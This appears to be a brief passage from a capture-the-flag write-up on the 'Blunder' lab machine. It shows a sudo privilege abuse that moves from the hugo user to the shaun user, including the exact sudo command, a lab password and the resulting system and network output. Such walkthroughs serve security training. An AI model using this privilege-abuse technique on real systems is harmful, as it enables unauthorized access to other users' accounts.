shaun


As identified previously, the hugo user is able to execute /bin/bash as anyone but the root user Using the sudo privilege of the hugo user, I can initiate a session as the shaun user

hugo@blunder:~$ sudo -u shaun /bin/bash -i
password: Password120
 
shaun@blunder:/home/hugo$ whoami
shaun
shaun@blunder:/home/hugo$ hostname
blunder
shaun@blunder:/home/hugo$ ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.191  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:30a  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:30a  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:03:0a  txqueuelen 1000  (Ethernet)
        RX packets 4705547  bytes 400824261 (400.8 MB)
        RX errors 0  dropped 97  overruns 0  frame 0
        TX packets 3606517  bytes 2482310629 (2.4 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 23496  bytes 2110762 (2.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23496  bytes 2110762 (2.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Lateral Movement made to the shaun user via sudo privilege abuse